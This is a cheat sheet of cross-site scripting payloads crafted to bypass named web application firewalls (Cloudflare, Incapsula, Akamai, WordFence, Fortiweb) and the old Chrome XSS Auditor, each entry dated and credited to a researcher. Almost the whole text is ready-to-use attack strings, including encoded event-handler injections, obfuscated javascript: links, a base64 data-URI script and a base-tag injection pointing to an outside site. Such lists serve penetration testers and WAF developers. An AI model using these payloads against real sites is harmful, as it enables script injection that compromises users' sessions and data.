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Common WAF Bypass

Cloudflare

  • 25st January 2021 - @Bohdan Korzhynskyi 

    <svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>

  • 21st April 2020 - @Bohdan Korzhynskyi 

    <svg/OnLoad="`${prompt``}`">

  • 22nd August 2019 - @Bohdan Korzhynskyi 

    <svg/onload=%26nbsp;alert`bohdan`+

  • 5th June 2019 - @Bohdan Korzhynskyi 

    1'"><img/src/onerror=.1|alert``>

  • 3rd June 2019 - @Bohdan Korzhynskyi 

    <svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>

  • 22nd March 2019 - @RakeshMane10 

    <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

  • 27th February 2018 

    <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>

Chrome Auditor

NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.

  • 9th August 2018 
    </script><svg><script>alert(1)-%26apos%3B

Incapsula WAF

  • 11th May 2019 - @daveysec 

    <svg onload\r\n=$.globalEval("al"+"ert()");>

  • 8th March 2018 - @Alra3ees 

    anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

  • 11th September 2018 - @c0d3G33k 

    <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

Akamai WAF

  • 18th June 2018 - @zseano 

    ?"></script><base%20c%3D=href%3Dhttps:\mysite>

  • 28th October 2018 - @s0md3v 

    <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

WordFence WAF

  • 12th September 2018 - @brutelogic 
    <a href=javas&#99;ript:alert(1)>

Fortiweb WAF

  • 9th July 2019 - @rezaduty 
    \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e

References